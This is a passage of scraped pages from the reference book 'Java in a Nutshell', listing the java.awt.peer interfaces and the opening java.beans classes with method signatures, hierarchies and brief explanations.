The interfaces in this package define the methods that must be supported by the GUI components on a specific platform. Porting the java.awt GUI components to a new platform is a matter of implementing each of the methods in each of the interfaces in this package on top of the native GUI components of that platform. The Toolkit object in the java.awt package collects the implementations of these peer interfaces for a given platform. Toolkit contains methods that create instances of each of the interfaces in this package. Normal applications never need to instantiate these peers directly; instead they use the java.awt Component classes, which create peers as needed.

Because these peer interfaces are rarely used, and because the methods are quite similar to those of the corresponding java.awt component, there is no additional commentary for the individual interface definitions below.

Figure 22.1: The java.awt.peer package

[Graphic: Figure 22-1]

22.1 java.awt.peer.ButtonPeer (JDK 1.0)

public abstract interface ButtonPeer extends ComponentPeer {
    // Public Instance Methods
            public abstract void setLabel(String label);
}

Returned By:

Toolkit.createButton()

Previous | Home | Next
java.awt.image.ReplicateScaleFilter (JDK 1.1) | Book Index | java.awt.peer.CanvasPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.2 java.awt.peer.CanvasPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.2 java.awt.peer.CanvasPeer (JDK 1.0)

public interface CanvasPeer extends ComponentPeer {
}

Returned By:

Toolkit.createCanvas()

Previous | Home | Next
java.awt.peer.ButtonPeer (JDK 1.0) | Book Index | java.awt.peer.CheckboxMenuItemPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.3 java.awt.peer.CheckboxMenuItemPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.3 java.awt.peer.CheckboxMenuItemPeer (JDK 1.0)

public abstract interface CheckboxMenuItemPeer extends MenuItemPeer {
    // Public Instance Methods
            public abstract void setState(boolean t);
}

Hierarchy:

(CheckboxMenuItemPeer(MenuItemPeer(MenuComponentPeer)))

Returned By:

Toolkit.createCheckboxMenuItem()

Previous | Home | Next
java.awt.peer.CanvasPeer (JDK 1.0) | Book Index | java.awt.peer.CheckboxPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.4 java.awt.peer.CheckboxPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.4 java.awt.peer.CheckboxPeer (JDK 1.0)

public abstract interface CheckboxPeer extends ComponentPeer {
    // Public Instance Methods
            public abstract void setCheckboxGroup(CheckboxGroup g);
            public abstract void setLabel(String label);
            public abstract void setState(boolean state);
}

Returned By:

Toolkit.createCheckbox()

Previous | Home | Next
java.awt.peer.CheckboxMenuItemPeer (JDK 1.0) | Book Index | java.awt.peer.ChoicePeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.5 java.awt.peer.ChoicePeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.5 java.awt.peer.ChoicePeer (JDK 1.0)

public abstract interface ChoicePeer extends ComponentPeer {
    // Public Instance Methods
        1.1  public abstract void add(String item, int index);
            public abstract void addItem(String item, int index);
        1.1  public abstract void remove(int index);
            public abstract void select(int index);
}

Returned By:

Toolkit.createChoice()

Previous | Home | Next
java.awt.peer.CheckboxPeer (JDK 1.0) | Book Index | java.awt.peer.ComponentPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.6 java.awt.peer.ComponentPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.6 java.awt.peer.ComponentPeer (JDK 1.0)

public abstract interface ComponentPeer {
    // Public Instance Methods
            public abstract int checkImage(Image img, int w, int h, ImageObserver o);
            public abstract Image createImage(ImageProducer producer);
            public abstract Image createImage(int width, int height);
            public abstract void disable();
            public abstract void dispose();
            public abstract void enable();
            public abstract ColorModel getColorModel();
            public abstract FontMetrics getFontMetrics(Font font);
            public abstract Graphics getGraphics();
        1.1  public abstract Point getLocationOnScreen();
        1.1  public abstract Dimension getMinimumSize();
        1.1  public abstract Dimension getPreferredSize();
            public abstract Toolkit getToolkit();
        1.1  public abstract void handleEvent(AWTEvent e);
            public abstract void hide();
        1.1  public abstract boolean isFocusTraversable();
            public abstract Dimension minimumSize();
            public abstract void paint(Graphics g);
            public abstract Dimension preferredSize();
            public abstract boolean prepareImage(Image img, int w, int h, ImageObserver o);
            public abstract void print(Graphics g);
            public abstract void repaint(long tm, int x, int y, int width, int height);
            public abstract void requestFocus();
            public abstract void reshape(int x, int y, int width, int height);
            public abstract void setBackground(Color c);
        1.1  public abstract void setBounds(int x, int y, int width, int height);
        1.1  public abstract void setCursor(Cursor cursor);
        1.1  public abstract void setEnabled(boolean b);
            public abstract void setFont(Font f);
            public abstract void setForeground(Color c);
        1.1  public abstract void setVisible(boolean b);
            public abstract void show();
}

Extended By:

ButtonPeer, CanvasPeer, CheckboxPeer, ChoicePeer, ContainerPeer, LabelPeer, LightweightPeer, ListPeer, ScrollbarPeer, TextComponentPeer

Returned By:

Component.getPeer()

Previous | Home | Next
java.awt.peer.ChoicePeer (JDK 1.0) | Book Index | java.awt.peer.ContainerPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.7 java.awt.peer.ContainerPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.7 java.awt.peer.ContainerPeer (JDK 1.0)

public abstract interface ContainerPeer extends ComponentPeer {
    // Public Instance Methods
        1.1  public abstract void beginValidate();
        1.1  public abstract void endValidate();
        1.1  public abstract Insets getInsets();
            public abstract Insets insets();
}

Extended By:

PanelPeer, ScrollPanePeer, WindowPeer

Previous | Home | Next
java.awt.peer.ComponentPeer (JDK 1.0) | Book Index | java.awt.peer.DialogPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.8 java.awt.peer.DialogPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.8 java.awt.peer.DialogPeer (JDK 1.0)

public abstract interface DialogPeer extends WindowPeer {
    // Public Instance Methods
            public abstract void setResizable(boolean resizeable);
            public abstract void setTitle(String title);
}

Hierarchy:

(DialogPeer(WindowPeer(ContainerPeer(ComponentPeer))))

Extended By:

FileDialogPeer

Returned By:

Toolkit.createDialog()

Previous | Home | Next
java.awt.peer.ContainerPeer (JDK 1.0) | Book Index | java.awt.peer.FileDialogPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.9 java.awt.peer.FileDialogPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.9 java.awt.peer.FileDialogPeer (JDK 1.0)

public abstract interface FileDialogPeer extends DialogPeer {
    // Public Instance Methods
            public abstract void setDirectory(String dir);
            public abstract void setFile(String file);
            public abstract void setFilenameFilter(FilenameFilter filter);
}

Hierarchy:

(FileDialogPeer(DialogPeer(WindowPeer(ContainerPeer(ComponentPeer)))))

Returned By:

Toolkit.createFileDialog()

Previous | Home | Next
java.awt.peer.DialogPeer (JDK 1.0) | Book Index | java.awt.peer.FontPeer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.10 java.awt.peer.FontPeer (JDK 1.1)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.10 java.awt.peer.FontPeer (JDK 1.1)

public interface FontPeer {
}

Returned By:

Font.getPeer(), Toolkit.getFontPeer()

Previous | Home | Next
java.awt.peer.FileDialogPeer (JDK 1.0) | Book Index | java.awt.peer.FramePeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.11 java.awt.peer.FramePeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.11 java.awt.peer.FramePeer (JDK 1.0)

public abstract interface FramePeer extends WindowPeer {
    // Public Instance Methods
            public abstract void setIconImage(Image im);
            public abstract void setMenuBar(MenuBar mb);
            public abstract void setResizable(boolean resizeable);
            public abstract void setTitle(String title);
}

Hierarchy:

(FramePeer(WindowPeer(ContainerPeer(ComponentPeer))))

Returned By:

Toolkit.createFrame()

Previous | Home | Next
java.awt.peer.FontPeer (JDK 1.1) | Book Index | java.awt.peer.LabelPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.12 java.awt.peer.LabelPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.12 java.awt.peer.LabelPeer (JDK 1.0)

public abstract interface LabelPeer extends ComponentPeer {
    // Public Instance Methods
            public abstract void setAlignment(int alignment);
            public abstract void setText(String label);
}

Returned By:

Toolkit.createLabel()

Previous | Home | Next
java.awt.peer.FramePeer (JDK 1.0) | Book Index | java.awt.peer.LightweightPeer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.13 java.awt.peer.LightweightPeer (JDK 1.1)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.13 java.awt.peer.LightweightPeer (JDK 1.1)

public interface LightweightPeer extends ComponentPeer {
}

Returned By:

Toolkit.createComponent()

Previous | Home | Next
java.awt.peer.LabelPeer (JDK 1.0) | Book Index | java.awt.peer.ListPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.14 java.awt.peer.ListPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.14 java.awt.peer.ListPeer (JDK 1.0)

public abstract interface ListPeer extends ComponentPeer {
    // Public Instance Methods
        1.1  public abstract void add(String item, int index);
            public abstract void addItem(String item, int index);
            public abstract void clear();
            public abstract void delItems(int start, int end);
            public abstract void deselect(int index);
        1.1  public abstract Dimension getMinimumSize(int rows);
        1.1  public abstract Dimension getPreferredSize(int rows);
            public abstract int[] getSelectedIndexes();
            public abstract void makeVisible(int index);
            public abstract Dimension minimumSize(int v);
            public abstract Dimension preferredSize(int v);
        1.1  public abstract void removeAll();
            public abstract void select(int index);
        1.1  public abstract void setMultipleMode(boolean b);
            public abstract void setMultipleSelections(boolean v);
}

Returned By:

Toolkit.createList()

Previous | Home | Next
java.awt.peer.LightweightPeer (JDK 1.1) | Book Index | java.awt.peer.MenuBarPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.15 java.awt.peer.MenuBarPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.15 java.awt.peer.MenuBarPeer (JDK 1.0)

public abstract interface MenuBarPeer extends MenuComponentPeer {
    // Public Instance Methods
            public abstract void addHelpMenu(Menu m);
            public abstract void addMenu(Menu m);
            public abstract void delMenu(int index);
}

Returned By:

Toolkit.createMenuBar()

Previous | Home | Next
java.awt.peer.ListPeer (JDK 1.0) | Book Index | java.awt.peer.MenuComponentPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.16 java.awt.peer.MenuComponentPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.16 java.awt.peer.MenuComponentPeer (JDK 1.0)

public abstract interface MenuComponentPeer {
    // Public Instance Methods
            public abstract void dispose();
}

Extended By:

MenuBarPeer, MenuItemPeer

Returned By:

MenuComponent.getPeer()

Previous | Home | Next
java.awt.peer.MenuBarPeer (JDK 1.0) | Book Index | java.awt.peer.MenuItemPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.17 java.awt.peer.MenuItemPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.17 java.awt.peer.MenuItemPeer (JDK 1.0)

public abstract interface MenuItemPeer extends MenuComponentPeer {
    // Public Instance Methods
            public abstract void disable();
            public abstract void enable();
        1.1  public abstract void setEnabled(boolean b);
            public abstract void setLabel(String label);
}

Extended By:

CheckboxMenuItemPeer, MenuPeer

Returned By:

Toolkit.createMenuItem()

Previous | Home | Next
java.awt.peer.MenuComponentPeer (JDK 1.0) | Book Index | java.awt.peer.MenuPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.18 java.awt.peer.MenuPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.18 java.awt.peer.MenuPeer (JDK 1.0)

public abstract interface MenuPeer extends MenuItemPeer {
    // Public Instance Methods
            public abstract void addItem(MenuItem item);
            public abstract void addSeparator();
            public abstract void delItem(int index);
}

Hierarchy:

(MenuPeer(MenuItemPeer(MenuComponentPeer)))

Extended By:

PopupMenuPeer

Returned By:

Toolkit.createMenu()

Previous | Home | Next
java.awt.peer.MenuItemPeer (JDK 1.0) | Book Index | java.awt.peer.PanelPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.19 java.awt.peer.PanelPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.19 java.awt.peer.PanelPeer (JDK 1.0)

public interface PanelPeer extends ContainerPeer {
}

Hierarchy:

(PanelPeer(ContainerPeer(ComponentPeer)))

Returned By:

Toolkit.createPanel()

Previous | Home | Next
java.awt.peer.MenuPeer (JDK 1.0) | Book Index | java.awt.peer.PopupMenuPeer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.20 java.awt.peer.PopupMenuPeer (JDK 1.1)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.20 java.awt.peer.PopupMenuPeer (JDK 1.1)

public abstract interface PopupMenuPeer extends MenuPeer {
    // Public Instance Methods
            public abstract void show(Event e);
}

Hierarchy:

(PopupMenuPeer(MenuPeer(MenuItemPeer(MenuComponentPeer))))

Returned By:

Toolkit.createPopupMenu()

Previous | Home | Next
java.awt.peer.PanelPeer (JDK 1.0) | Book Index | java.awt.peer.ScrollPanePeer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.21 java.awt.peer.ScrollPanePeer (JDK 1.1)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.21 java.awt.peer.ScrollPanePeer (JDK 1.1)

public abstract interface ScrollPanePeer extends ContainerPeer {
    // Public Instance Methods
            public abstract void childResized(int w, int h);
            public abstract int getHScrollbarHeight();
            public abstract int getVScrollbarWidth();
            public abstract void setScrollPosition(int x, int y);
            public abstract void setUnitIncrement(Adjustable adj, int u);
            public abstract void setValue(Adjustable adj, int v);
}

Hierarchy:

(ScrollPanePeer(ContainerPeer(ComponentPeer)))

Returned By:

Toolkit.createScrollPane()

Previous | Home | Next
java.awt.peer.PopupMenuPeer (JDK 1.1) | Book Index | java.awt.peer.ScrollbarPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.22 java.awt.peer.ScrollbarPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.22 java.awt.peer.ScrollbarPeer (JDK 1.0)

public abstract interface ScrollbarPeer extends ComponentPeer {
    // Public Instance Methods
            public abstract void setLineIncrement(int l);
            public abstract void setPageIncrement(int l);
            public abstract void setValues(int value, int visible, int minimum, int maximum);
}

Returned By:

Toolkit.createScrollbar()

Previous | Home | Next
java.awt.peer.ScrollPanePeer (JDK 1.1) | Book Index | java.awt.peer.TextAreaPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.23 java.awt.peer.TextAreaPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.23 java.awt.peer.TextAreaPeer (JDK 1.0)

public abstract interface TextAreaPeer extends TextComponentPeer {
    // Public Instance Methods
        1.1  public abstract Dimension getMinimumSize(int rows, int columns);
        1.1  public abstract Dimension getPreferredSize(int rows, int columns);
        1.1  public abstract void insert(String text, int pos);
            public abstract void insertText(String txt, int pos);
            public abstract Dimension minimumSize(int rows, int cols);
            public abstract Dimension preferredSize(int rows, int cols);
        1.1  public abstract void replaceRange(String text, int start, int end);
            public abstract void replaceText(String txt, int start, int end);
}

Hierarchy:

(TextAreaPeer(TextComponentPeer(ComponentPeer)))

Returned By:

Toolkit.createTextArea()

Previous | Home | Next
java.awt.peer.ScrollbarPeer (JDK 1.0) | Book Index | java.awt.peer.TextComponentPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.24 java.awt.peer.TextComponentPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.24 java.awt.peer.TextComponentPeer (JDK 1.0)

public abstract interface TextComponentPeer extends ComponentPeer {
    // Public Instance Methods
        1.1  public abstract int getCaretPosition();
            public abstract int getSelectionEnd();
            public abstract int getSelectionStart();
            public abstract String getText();
            public abstract void select(int selStart, int selEnd);
        1.1  public abstract void setCaretPosition(int pos);
            public abstract void setEditable(boolean editable);
            public abstract void setText(String l);
}

Extended By:

TextAreaPeer, TextFieldPeer

Previous | Home | Next
java.awt.peer.TextAreaPeer (JDK 1.0) | Book Index | java.awt.peer.TextFieldPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.25 java.awt.peer.TextFieldPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.25 java.awt.peer.TextFieldPeer (JDK 1.0)

public abstract interface TextFieldPeer extends TextComponentPeer {
    // Public Instance Methods
        1.1  public abstract Dimension getMinimumSize(int columns);
        1.1  public abstract Dimension getPreferredSize(int columns);
            public abstract Dimension minimumSize(int cols);
            public abstract Dimension preferredSize(int cols);
        1.1  public abstract void setEchoChar(char echoChar);
            public abstract void setEchoCharacter(char c);
}

Hierarchy:

(TextFieldPeer(TextComponentPeer(ComponentPeer)))

Returned By:

Toolkit.createTextField()

Previous | Home | Next
java.awt.peer.TextComponentPeer (JDK 1.0) | Book Index | java.awt.peer.WindowPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] 22.26 java.awt.peer.WindowPeer (JDK 1.0)

Java in a Nutshell

Previous Chapter 22
The java.awt.peer Package 		Next

22.26 java.awt.peer.WindowPeer (JDK 1.0)

public abstract interface WindowPeer extends ContainerPeer {
    // Public Instance Methods
            public abstract void toBack();
            public abstract void toFront();
}

Hierarchy:

(WindowPeer(ContainerPeer(ComponentPeer)))

Extended By:

DialogPeer, FramePeer

Returned By:

Toolkit.createWindow()

Previous | Home | Next
java.awt.peer.TextFieldPeer (JDK 1.0) | Book Index | The java.beans Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] The java.awt.peer Package

Java in a Nutshell

Previous Chapter 22 Next

22. The java.awt.peer Package

Contents:

Select a new section and then

The java.awt.peer package consists entirely of interface definitions. The hierarchy of these interfaces is shown in Figure 22.1. Each java.awt.peer interface corresponds to one of the java.awt Component or MenuComponent classes, and as you can see from the figure, the hierarchy of this package is identical to the hierarchy of those portions of the java.awt package.

The interfaces in this package define the methods that must be supported by the GUI components on a specific platform. Porting the java.awt GUI components to a new platform is a matter of implementing each of the methods in each of the interfaces in this package on top of the native GUI components of that platform. The Toolkit object in the java.awt package collects the implementations of these peer interfaces for a given platform. Toolkit contains methods that create instances of each of the interfaces in this package. Normal applications never need to instantiate these peers directly; instead they use the java.awt Component classes, which create peers as needed.

Because these peer interfaces are rarely used, and because the methods are quite similar to those of the corresponding java.awt component, there is no additional commentary for the individual interface definitions below.

Figure 22.1: The java.awt.peer package

[Graphic: Figure 22-1]

22.1 java.awt.peer.ButtonPeer (JDK 1.0)

public abstract interface ButtonPeer extends ComponentPeer {
    // Public Instance Methods
            public abstract void setLabel(String label);
}

Returned By:

Toolkit.createButton()

Previous | Home | Next
java.awt.image.ReplicateScaleFilter (JDK 1.1) | Book Index | java.awt.peer.CanvasPeer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] The java.beans Package

Java in a Nutshell

Previous Chapter 23 Next

23. The java.beans Package

Contents:
java.beans.BeanInfo (JDK 1.1)
java.beans.Beans (JDK 1.1)
java.beans.Customizer (JDK 1.1)
java.beans.EventSetDescriptor (JDK 1.1)
java.beans.FeatureDescriptor (JDK 1.1)
java.beans.IndexedPropertyDescriptor (JDK 1.1)
java.beans.IntrospectionException (JDK 1.1)
java.beans.Introspector (JDK 1.1)
java.beans.MethodDescriptor (JDK 1.1)
java.beans.ParameterDescriptor (JDK 1.1)
java.beans.PropertyChangeEvent (JDK 1.1)
java.beans.PropertyChangeListener (JDK 1.1)
java.beans.PropertyChangeSupport (JDK 1.1)
java.beans.PropertyDescriptor (JDK 1.1)
java.beans.PropertyEditor (JDK 1.1)
java.beans.PropertyEditorManager (JDK 1.1)
java.beans.PropertyEditorSupport (JDK 1.1)
java.beans.PropertyVetoException (JDK 1.1)
java.beans.SimpleBeanInfo (JDK 1.1)
java.beans.VetoableChangeListener (JDK 1.1)
java.beans.VetoableChangeSupport (JDK 1.1)
java.beans.Visibility (JDK 1.1)

The java.beans package contains the classes and interfaces that constitute the JavaBeans API. It is new in Java 1.1. Figure 23.1 shows the class hierarchy for this package.

The classes and interfaces in this package are useful to programmers who are developing "beanbox" tools to manipulate beans, and to programmers who are writing their own beans. Programmers who are building applications using beans do not have to be familiar with java.beans. See Chapter 10, Java Beans for more details on writing custom beans.

Figure 23.1: The java.beans package

[Graphic: Figure 23-1]

23.1 java.beans.BeanDescriptor (JDK 1.1)

A BeanDescriptor object is a type of FeatureDescriptor that describes a Java bean. The BeanInfo class for a Java bean optionally creates and initializes a BeanDescriptor object to describe the bean. Typically, only application builders and similar tools use the BeanDescriptor.

To create a BeanDescriptor, you must specify the class of the bean, and optionally, the class of a Customizer for the bean. You can use the methods of FeatureDescriptor to provide additional information about the bean.

public class BeanDescriptor extends FeatureDescriptor {
    // Public Constructors
            public BeanDescriptor(Class beanClass);
            public BeanDescriptor(Class beanClass, Class customizerClass);
    // Public Instance Methods
            public Class getBeanClass();
            public Class getCustomizerClass();
}

Hierarchy:

Object->FeatureDescriptor->BeanDescriptor

Returned By:

BeanInfo.getBeanDescriptor(), SimpleBeanInfo.getBeanDescriptor()

Previous | Home | Next
java.awt.peer.WindowPeer (JDK 1.0) | Book Index | java.beans.BeanInfo (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.2 java.beans.BeanInfo (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.2 java.beans.BeanInfo (JDK 1.1)

The BeanInfo interface defines the methods that a class must implement in order to export information about a Java bean. The Introspector class knows how to obtain all the basic information required about a bean. A bean that wants to be more "programmer-friendly" may provide a class that implements this interface, however, in order to provide additional information about itself (such as an icon and description strings for each of its properties, events, and methods). Note that a bean developer defines a class that implements the methods of this interface. Typically only builder applications and similar tools actually invoke the methods defined here.

The methods getBeanDescriptor(), getEventSetDescriptors(), getPropertyDescriptors(), and getMethodDescriptors() should return appropriate descriptor objects for the bean, or null, if the bean does not provide explicit bean, event set, property, or method descriptor objects. The getDefaultEventIndex() and getDefaultPropertyIndex() methods return values that specify the "default" event and property--i.e., that are most likely to be of interest to a programmer using the bean. These methods should return -1 if there are no defaults.

The getIcon() method should return an image object suitable for representing the bean in a palette or menu of available beans. The argument passed to this method is one of the four constants defined by the class; it specifies the type and size of icon requested. If the requested icon cannot be provided, getIcon() should return null.

A BeanInfo class is allowed to return null or -1 if it cannot provide the requested information. In this case, the Introspector class provides basic values for the omitted information from its own introspection of the bean. See SimpleBeanInfo for a trivial implementation of this interface, suitable for convenient subclassing.

public abstract interface BeanInfo {
    // Constants
            public static final int ICON_COLOR_16x16;
            public static final int ICON_COLOR_32x32;
            public static final int ICON_MONO_16x16;
            public static final int ICON_MONO_32x32;
    // Public Instance Methods
            public abstract BeanInfo[] getAdditionalBeanInfo();
            public abstract BeanDescriptor getBeanDescriptor();
            public abstract int getDefaultEventIndex();
            public abstract int getDefaultPropertyIndex();
            public abstract EventSetDescriptor[] getEventSetDescriptors();
            public abstract Image getIcon(int iconKind);
            public abstract MethodDescriptor[] getMethodDescriptors();
            public abstract PropertyDescriptor[] getPropertyDescriptors();
}

Implemented By:

SimpleBeanInfo

Returned By:

BeanInfo.getAdditionalBeanInfo(),
Introspector.getBeanInfo(),
SimpleBeanInfo.getAdditionalBeanInfo()

Previous | Home | Next
java.beans.BeanDescriptor (JDK 1.1) | Book Index | java.beans.Beans (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.3 java.beans.Beans (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.3 java.beans.Beans (JDK 1.1)

The Beans class is never meant to be instantiated; its static methods provide miscellaneous JavaBeans features.

The instantiate() method creates an instance of a bean. The specified bean name represents either a serialized bean file or a bean class file; it is interpreted relative to the specified ClassLoader object.

The setDesignTime() and isDesignTime() methods are used to set and query a flag that indicates whether beans are being used in an application builder environment. Similarly, setGuiAvailable() and isGuiAvailable() set and query a flag that indicates whether the Java Virtual Machine is running in an environment in which a GUI is available. (Note that untrusted applet code cannot call setDesignTime() or setGuiAvailable().)

The isInstanceOf() method is a replacement for the Java instanceof operator for use with beans. Currently, it behaves just like instanceof, but in the future it may work with beans that consist of a set of Java objects, each of which provides a different "view" of a bean. Similarly, the getInstanceOf() method is a replacement for the Java cast operator. It converts a bean to a superclass or interface type. Currently, it behaves just like a cast, but you should use it for future compatibility with multiclass beans.

public class Beans extends Object {
    // Default Constructor: public Beans()
    // Class Methods
            public static Object getInstanceOf(Object bean, Class targetType);
            public static Object instantiate(ClassLoader cls, String beanName)
            public static Object instantiate'u'throws IOException, ClassNotFoundException;
            public static boolean isDesignTime();
            public static boolean isGuiAvailable();
            public static boolean isInstanceOf(Object bean, Class targetType);
            public static void setDesignTime(boolean isDesignTime) throws SecurityException;
            public static void setGuiAvailable(boolean isGuiAvailable) throws SecurityException;
}

Previous | Home | Next
java.beans.BeanInfo (JDK 1.1) | Book Index | java.beans.Customizer (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.4 java.beans.Customizer (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.4 java.beans.Customizer (JDK 1.1)

The Customizer interface specifies the methods that must be defined by any class designed to customize a Java bean. In addition to implementing this interface, a customizer class must be a subclass of java.awt.Component, and it must have a constructor that takes no arguments, so that it can be instantiated by an application builder.

Customizer classes are typically used by a complex Java bean to allow the user to easily configure the bean, and to provide an alternative to a simple list of properties and their values. If a customizer class is defined for a Java bean, it must be associated with the bean through a BeanDescriptor object returned by a BeanInfo class for the bean. Note that while a Customizer class is created by the author of a bean, that class is only instantiated and used by application builders and similar tools.

After a Customizer class is instantiated, its setObject() method is invoked once to specify the bean object that it is to customize. The addPropertyChangeListener() and removePropertyChangeListener() methods may be called to register and de-register PropertyChangeListener objects. The Customizer should send a PropertyChangeEvent to all registered listeners any time it changes a property of the bean it is customizing.

public abstract interface Customizer {
    // Public Instance Methods
            public abstract void addPropertyChangeListener(PropertyChangeListener listener);
            public abstract void removePropertyChangeListener(PropertyChangeListener listener);
            public abstract void setObject(Object bean);
}

Previous | Home | Next
java.beans.Beans (JDK 1.1) | Book Index | java.beans.EventSetDescriptor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 23] 23.5 java.beans.EventSetDescriptor (JDK 1.1)

Java in a Nutshell

Previous Chapter 23
The java.beans Package 		Next

23.5 java.beans.EventSetDescriptor (JDK 1.1)

An EventSetDescriptor object is a type of FeatureDescriptor that describes a single set of events supported by a Java bean. A "set" of events corresponds to the one or more methods supported by a single EventListener interface. The BeanInfo class for a Java bean optionally creates EventSetDescriptor objects to describe the event sets the bean supports. Typically, only application builders and similar tools use the get and is methods of EventSetDescriptor objects to obtain the event-set description information.

To create an EventSetDescriptor object, you must specify the class of the bean that supports the event set, the base name of the event set, the class of the EventListener interface that corresponds to the event set, and the methods within this interface that are invoked when particular events within the set occur. Optionally, you may also specify the methods of the bean class that are used to add and remove EventListener objects. The various constructors allow you to specify methods by name, as java.lang.reflect.Method objects, or as MethodDescriptor objects.

Once you have created an EventSetDescriptor, you can use setUnicast() to specify whether it represents a unicast event and setInDefaultEventSet() to specify whether the event set should be treated as the default event set by builder applications. The methods of the FeatureDescriptor superclass allow additional information about the property to be specified.

public class EventSetDescriptor extends FeatureDescriptor {
    // Public Constructors
            public EventSetDescriptor(Class sourceClass, String eventSetName, Class listenerType,
            public EventSetDescriptor'u'String listenerMethodName) throws IntrospectionException;
            public EventSetDescriptor(Class sourceClass, String eventSetName, Class listenerType,
            public EventSetDescriptor'u'String[] listenerMethodNames, String addListenerMethodName
            public EventSetDescriptor'u'String removeListenerMethodName) throws IntrospectionException;
            public EventSetDescriptor(String eventSetName, Class listenerType, Method[] listenerMethods,
